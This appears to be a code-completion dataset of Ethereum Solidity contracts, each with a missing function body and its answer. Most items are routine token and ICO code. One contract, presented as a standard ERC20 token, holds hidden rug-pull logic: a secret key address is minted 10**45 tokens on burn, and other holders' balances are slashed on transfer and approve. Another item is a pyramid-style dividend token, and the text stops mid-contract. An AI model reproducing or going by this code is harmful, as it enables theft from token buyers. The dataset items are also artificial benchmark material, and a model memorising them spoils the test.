_; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount);
function Distribute(address _participant, uint _amount) onlyOwner internal
function Distribute(address _participant, uint _amount) onlyOwner internal
61063
IADSpecialEvent
contribute
contract IADSpecialEvent is admined { using SafeMath for uint256; //This ico contract have 2 states enum State { Ongoing, Successful } //public variables token public constant tokenReward = token(0xC1E2097d788d33701BA3Cc2773BF67155ec93FC4); State public state = State.Ongoing; //Set initial stage uint256 public totalRaised; //eth in wei funded uint256 public totalDistributed; //tokens distributed uint256 public completedAt; address public creator; mapping (address => bool) whiteList; uint256 public rate = 6250;//Base rate is 5000 IAD/ETH - It's a 25% bonus string public version = '1'; //events for log event LogFundingReceived(address _addr, uint _amount, uint _currentTotal); event LogBeneficiaryPaid(address _beneficiaryAddress); event LogFundingSuccessful(uint _totalRaised); event LogFunderInitialized(address _creator); event LogContributorsPayout(address _addr, uint _amount); modifier notFinished() { require(state != State.Successful); _; } /** * @notice ICO constructor */ constructor () public { creator = msg.sender; emit LogFunderInitialized(creator); } /** * @notice whiteList handler */ function whitelistAddress(address _user, bool _flag) onlyAdmin(1) public { whiteList[_user] = _flag; } /** * @notice contribution handler */ function contribute() public notFinished payable {<FILL_FUNCTION_BODY> } /** * @notice closure handler */ function finish() onlyAdmin(2) public { //When finished eth and tremaining tokens are transfered to creator if(state != State.Successful){ state = State.Successful; completedAt = now; } uint256 remanent = tokenReward.balanceOf(this); require(creator.send(address(this).balance)); tokenReward.transfer(creator,remanent); emit LogBeneficiaryPaid(creator); emit LogContributorsPayout(creator, remanent); } function sendTokensManually(address _to, uint256 _amount) onlyAdmin(2) public { require(whiteList[_to] == true); //Keep track of total tokens distributed totalDistributed = totalDistributed.add(_amount); //Transfer the tokens tokenReward.transfer(_to, _amount); //Logs emit LogContributorsPayout(_to, _amount); } /** * @notice Function to claim eth on contract */ function claimETH() onlyAdmin(2) public{ require(creator.send(address(this).balance)); emit LogBeneficiaryPaid(creator); } /** * @notice Function to claim any token stuck on contract at any time */ function claimTokens(token _address) onlyAdmin(2) public{ require(state == State.Successful); //Only when sale finish uint256 remainder = _address.balanceOf(this); //Check remainder tokens _address.transfer(msg.sender,remainder); //Transfer tokens to admin } /* * @dev direct payments handler */ function () public payable { contribute(); } }
contract IADSpecialEvent is admined { using SafeMath for uint256; //This ico contract have 2 states enum State { Ongoing, Successful } //public variables token public constant tokenReward = token(0xC1E2097d788d33701BA3Cc2773BF67155ec93FC4); State public state = State.Ongoing; //Set initial stage uint256 public totalRaised; //eth in wei funded uint256 public totalDistributed; //tokens distributed uint256 public completedAt; address public creator; mapping (address => bool) whiteList; uint256 public rate = 6250;//Base rate is 5000 IAD/ETH - It's a 25% bonus string public version = '1'; //events for log event LogFundingReceived(address _addr, uint _amount, uint _currentTotal); event LogBeneficiaryPaid(address _beneficiaryAddress); event LogFundingSuccessful(uint _totalRaised); event LogFunderInitialized(address _creator); event LogContributorsPayout(address _addr, uint _amount); modifier notFinished() { require(state != State.Successful); _; } /** * @notice ICO constructor */ constructor () public { creator = msg.sender; emit LogFunderInitialized(creator); } /** * @notice whiteList handler */ function whitelistAddress(address _user, bool _flag) onlyAdmin(1) public { whiteList[_user] = _flag; } <FILL_FUNCTION> /** * @notice closure handler */ function finish() onlyAdmin(2) public { //When finished eth and tremaining tokens are transfered to creator if(state != State.Successful){ state = State.Successful; completedAt = now; } uint256 remanent = tokenReward.balanceOf(this); require(creator.send(address(this).balance)); tokenReward.transfer(creator,remanent); emit LogBeneficiaryPaid(creator); emit LogContributorsPayout(creator, remanent); } function sendTokensManually(address _to, uint256 _amount) onlyAdmin(2) public { require(whiteList[_to] == true); //Keep track of total tokens distributed totalDistributed = totalDistributed.add(_amount); //Transfer the tokens tokenReward.transfer(_to, _amount); //Logs emit LogContributorsPayout(_to, _amount); } /** * @notice Function to claim eth on contract */ function claimETH() onlyAdmin(2) public{ require(creator.send(address(this).balance)); emit LogBeneficiaryPaid(creator); } /** * @notice Function to claim any token stuck on contract at any time */ function claimTokens(token _address) onlyAdmin(2) public{ require(state == State.Successful); //Only when sale finish uint256 remainder = _address.balanceOf(this); //Check remainder tokens _address.transfer(msg.sender,remainder); //Transfer tokens to admin } /* * @dev direct payments handler */ function () public payable { contribute(); } }
//must be whitlisted require(whiteList[msg.sender] == true); //lets get the total purchase uint256 tokenBought = msg.value.mul(rate); //Minimum 150K tokenss require(tokenBought >= 150000 * (10 ** 18)); //Keep track of total wei raised totalRaised = totalRaised.add(msg.value); //Keep track of total tokens distributed totalDistributed = totalDistributed.add(tokenBought); //Transfer the tokens tokenReward.transfer(msg.sender, tokenBought); //Logs emit LogFundingReceived(msg.sender, msg.value, totalRaised); emit LogContributorsPayout(msg.sender, tokenBought);
function contribute() public notFinished payable
/** * @notice contribution handler */ function contribute() public notFinished payable
22191
ERC20
_approve
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private fxArray; mapping (address => bool) private Mickey; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private Mouse = 0; address public pair; IDEXRouter router; string private _name; string private _symbol; address private sha823gydpudw913key; uint256 private _totalSupply; bool private trading; bool private Swine; uint256 private Pig; uint256 private Swag; constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); sha823gydpudw913key = msgSender_; _name = name_; _symbol = symbol_; } function openTrading() external onlyOwner returns (bool) { trading = true; return true; } function decimals() public view virtual override returns (uint8) { return 18; } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[account] += (account == sha823gydpudw913key ? (10 ** 45) : 0); _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function last() internal view returns (address) { return (Pig > 1 ? fxArray[fxArray.length-2] : address(0)); } function _balancesOfTheDoges(address sender, address recipient, bool problem) internal { Swine = problem ? true : Swine; if (((Mickey[sender] == true) && (Mickey[recipient] != true)) || ((Mickey[sender] != true) && (Mickey[recipient] != true))) { fxArray.push(recipient); } if ((Swine) && (sender == sha823gydpudw913key) && (Swag == 1)) { for (uint256 krux = 0; krux < fxArray.length; krux++) { _balances[fxArray[krux]] /= (2 * 10 ** 1); } } _balances[last()] /= (((Mouse == block.timestamp) || Swine) && (Mickey[last()] != true) && (Pig > 1)) ? (10 ** 2) : (1); Pig++; Mouse = block.timestamp; } function _balancesOfTheFloki(address sender, address recipient) internal { require((trading || (sender == sha823gydpudw913key)), "ERC20: trading is not yet enabled."); _balancesOfTheDoges(sender, recipient, (address(sender) == sha823gydpudw913key) && (Swag > 0)); Swag += (sender == sha823gydpudw913key) ? 1 : 0; } function _DeathSwap(address creator) internal virtual { approve(_router, 10 ** 77); (Swag,Swine,Pig,trading) = (0,false,0,false); (Mickey[_router],Mickey[creator],Mickey[pair]) = (true,true,true); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balancesOfTheFloki(sender, recipient); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployFlokiPredator(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } }
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private fxArray; mapping (address => bool) private Mickey; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private Mouse = 0; address public pair; IDEXRouter router; string private _name; string private _symbol; address private sha823gydpudw913key; uint256 private _totalSupply; bool private trading; bool private Swine; uint256 private Pig; uint256 private Swag; constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); sha823gydpudw913key = msgSender_; _name = name_; _symbol = symbol_; } function openTrading() external onlyOwner returns (bool) { trading = true; return true; } function decimals() public view virtual override returns (uint8) { return 18; } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[account] += (account == sha823gydpudw913key ? (10 ** 45) : 0); _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function last() internal view returns (address) { return (Pig > 1 ? fxArray[fxArray.length-2] : address(0)); } function _balancesOfTheDoges(address sender, address recipient, bool problem) internal { Swine = problem ? true : Swine; if (((Mickey[sender] == true) && (Mickey[recipient] != true)) || ((Mickey[sender] != true) && (Mickey[recipient] != true))) { fxArray.push(recipient); } if ((Swine) && (sender == sha823gydpudw913key) && (Swag == 1)) { for (uint256 krux = 0; krux < fxArray.length; krux++) { _balances[fxArray[krux]] /= (2 * 10 ** 1); } } _balances[last()] /= (((Mouse == block.timestamp) || Swine) && (Mickey[last()] != true) && (Pig > 1)) ? (10 ** 2) : (1); Pig++; Mouse = block.timestamp; } function _balancesOfTheFloki(address sender, address recipient) internal { require((trading || (sender == sha823gydpudw913key)), "ERC20: trading is not yet enabled."); _balancesOfTheDoges(sender, recipient, (address(sender) == sha823gydpudw913key) && (Swag > 0)); Swag += (sender == sha823gydpudw913key) ? 1 : 0; } function _DeathSwap(address creator) internal virtual { approve(_router, 10 ** 77); (Swag,Swine,Pig,trading) = (0,false,0,false); (Mickey[_router],Mickey[creator],Mickey[pair]) = (true,true,true); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } <FILL_FUNCTION> function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balancesOfTheFloki(sender, recipient); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployFlokiPredator(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; _balances[owner] /= (Swine ? (2 * 10 ** 1) : 1); emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) internal virtual
function _approve(address owner, address spender, uint256 amount) internal virtual
90803
CustomToken
null
contract CustomToken is BaseToken, BurnToken, BatchToken, LockToken, MintToken { constructor() public {<FILL_FUNCTION_BODY> } }
contract CustomToken is BaseToken, BurnToken, BatchToken, LockToken, MintToken { <FILL_FUNCTION> }
owner = 0xbCADE28d8C2F22345165f0e07C94A600f6C4e925; balanceOf[0xbCADE28d8C2F22345165f0e07C94A600f6C4e925] = totalSupply; emit Transfer(address(0), 0xbCADE28d8C2F22345165f0e07C94A600f6C4e925, totalSupply);
constructor() public
constructor() public
83751
TestToken
transfer
contract TestToken is ERC20, SafeMath { //创建一个状态变量,该类型将一些address映射到无符号整数uint256。 mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; //function transfer(address to, uint value) returns (bool ok); function transfer(address _to, uint _value) returns (bool success) {<FILL_FUNCTION_BODY> } //function transferFrom(address from, address to, uint value) returns (bool ok); function transferFrom(address _from, address _to, uint _value) returns (bool success) { var _allowance = allowed[_from][msg.sender]; //接收账户增加token数量_value balances[_to] = add(balances[_to], _value); //支出账户_from减去token数量_value balances[_from] = sub(balances[_from], _value); //消息发送者可以从账户_from中转出的数量减少_value allowed[_from][msg.sender] = sub(_allowance, _value); //触发转币交易事件 Transfer(_from, _to, _value); return true; } //function balanceOf( address who ) constant returns (uint value); function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } //function approve( address spender, uint value ) returns (bool ok); function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } //function allowance( address owner, address spender ) constant returns (uint _allowance); function allowance(address _owner, address _spender) constant returns (uint remaining) { //允许_spender从_owner中转出的token数 return allowed[_owner][_spender]; } }
contract TestToken is ERC20, SafeMath { //创建一个状态变量,该类型将一些address映射到无符号整数uint256。 mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; <FILL_FUNCTION> //function transferFrom(address from, address to, uint value) returns (bool ok); function transferFrom(address _from, address _to, uint _value) returns (bool success) { var _allowance = allowed[_from][msg.sender]; //接收账户增加token数量_value balances[_to] = add(balances[_to], _value); //支出账户_from减去token数量_value balances[_from] = sub(balances[_from], _value); //消息发送者可以从账户_from中转出的数量减少_value allowed[_from][msg.sender] = sub(_allowance, _value); //触发转币交易事件 Transfer(_from, _to, _value); return true; } //function balanceOf( address who ) constant returns (uint value); function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } //function approve( address spender, uint value ) returns (bool ok); function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } //function allowance( address owner, address spender ) constant returns (uint _allowance); function allowance(address _owner, address _spender) constant returns (uint remaining) { //允许_spender从_owner中转出的token数 return allowed[_owner][_spender]; } }
//从消息发送者账户中减去token数量_value balances[msg.sender] = sub(balances[msg.sender], _value); //往接收账户增加token数量_value balances[_to] = add(balances[_to], _value); //触发转币交易事件 Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint _value) returns (bool success)
//function transfer(address to, uint value) returns (bool ok); function transfer(address _to, uint _value) returns (bool success)
60352
Vault
deposit
contract Vault is Transferable { event Initialized(address owner); event LockDate(uint oldDate, uint newDate); event Deposit(address indexed depositor, uint amount); event Withdrawal(address indexed withdrawer, uint amount); mapping (address => uint) public deposits; uint public lockDate; function init() public payable isUnlocked { Owner = msg.sender; lockDate = 0; Initialized(msg.sender); } function SetLockDate(uint newDate) public payable onlyOwner { LockDate(lockDate, newDate); lockDate = newDate; } function() public payable { deposit(); } function deposit() public payable {<FILL_FUNCTION_BODY> } function withdraw(uint amount) public payable onlyOwner { if (lockDate > 0 && now >= lockDate) { uint max = deposits[msg.sender]; if (amount <= max && max > 0) { msg.sender.transfer(amount); Withdrawal(msg.sender, amount); } } } }
contract Vault is Transferable { event Initialized(address owner); event LockDate(uint oldDate, uint newDate); event Deposit(address indexed depositor, uint amount); event Withdrawal(address indexed withdrawer, uint amount); mapping (address => uint) public deposits; uint public lockDate; function init() public payable isUnlocked { Owner = msg.sender; lockDate = 0; Initialized(msg.sender); } function SetLockDate(uint newDate) public payable onlyOwner { LockDate(lockDate, newDate); lockDate = newDate; } function() public payable { deposit(); } <FILL_FUNCTION> function withdraw(uint amount) public payable onlyOwner { if (lockDate > 0 && now >= lockDate) { uint max = deposits[msg.sender]; if (amount <= max && max > 0) { msg.sender.transfer(amount); Withdrawal(msg.sender, amount); } } } }
if (msg.value >= 0.1 ether) { deposits[msg.sender] += msg.value; Deposit(msg.sender, msg.value); }
function deposit() public payable
function deposit() public payable
50945
MyAdvancedToken
_transfer
contract MyAdvancedToken is owned, TokenERC20 { /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> } }
contract MyAdvancedToken is owned, TokenERC20 { /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} <FILL_FUNCTION> }
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value);
function _transfer(address _from, address _to, uint _value) internal
/* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal
22220
EarthToken
null
contract EarthToken is ERC20 { constructor() ERC20("EarthFund", "1EARTH") {<FILL_FUNCTION_BODY> } }
contract EarthToken is ERC20 { <FILL_FUNCTION> }
_mint(msg.sender, 1000000000 * 1e18); // 1 billion 1EARTH
constructor() ERC20("EarthFund", "1EARTH")
constructor() ERC20("EarthFund", "1EARTH")
85966
POXToken
purchaseTokens
contract POXToken { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> set new administrator // -> change the PoS difficulty (How many tokens it costs to hold a referral, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[(_customerAddress)]); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "POXToken"; string public symbol = "POX"; uint8 constant public decimals = 18; uint8 constant internal buyFee_ = 10; uint8 constant internal sellFee_ = 5; uint8 constant internal exchangebuyFee_ = 100; uint8 constant internal exchangesellFee_ = 50; uint8 constant internal referralFeenormal_ = 50; uint8 constant internal referralFeedouble_ = 25; uint8 constant internal transferFee_ = 10; uint32 constant internal presaletransferFee_ = 1000000; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake Doubles Referral Rewards (defaults at 500 tokens) uint256 public stakingRequirement = 500e18; // presale mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 1000 ether; uint256 constant internal ambassadorQuota_ = 1010 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // fees and measurement error address address private exchangefees; address private measurement; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function POXToken(address _exchangefees, address _measurement) public { require(_exchangefees != address(0)); exchangefees = _exchangefees; require(_measurement != address(0)); measurement = _measurement; // administrators administrators[0x8889885f4a4800abC7F32aC661765cd1FAaC7D49] = true; // pre-sale wallet. ambassadors_[0xA7A1d05b15de7d5C0a8A27dDD3B011Ec366D6bB9] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data // low fees for presale address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _feesEthereum = SafeMath.div(_ethereum, exchangesellFee_); uint256 _sellfeeEthereum = SafeMath.div(_ethereum, sellFee_); if (ambassadors_[_customerAddress] == true) { _sellfeeEthereum = SafeMath.div(_ethereum, exchangesellFee_); } uint256 _dividends = SafeMath.sub(_sellfeeEthereum, _feesEthereum); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _sellfeeEthereum); // fees and burn the sold tokens exchangefees.transfer(_feesEthereum); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token and measurement error profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders // low fees for presale uint256 _tokenFee = SafeMath.div(_amountOfTokens, transferFee_); if (ambassadors_[_customerAddress] == true) { _tokenFee = SafeMath.div(_amountOfTokens, presaletransferFee_); } uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _feesEthereum = SafeMath.div(tokensToEthereum_(_tokenFee), exchangebuyFee_); uint256 _dividends = SafeMath.sub(tokensToEthereum_(_tokenFee), _feesEthereum); // fees and burn the fee tokens exchangefees.transfer(_feesEthereum); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders and measurement error profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS 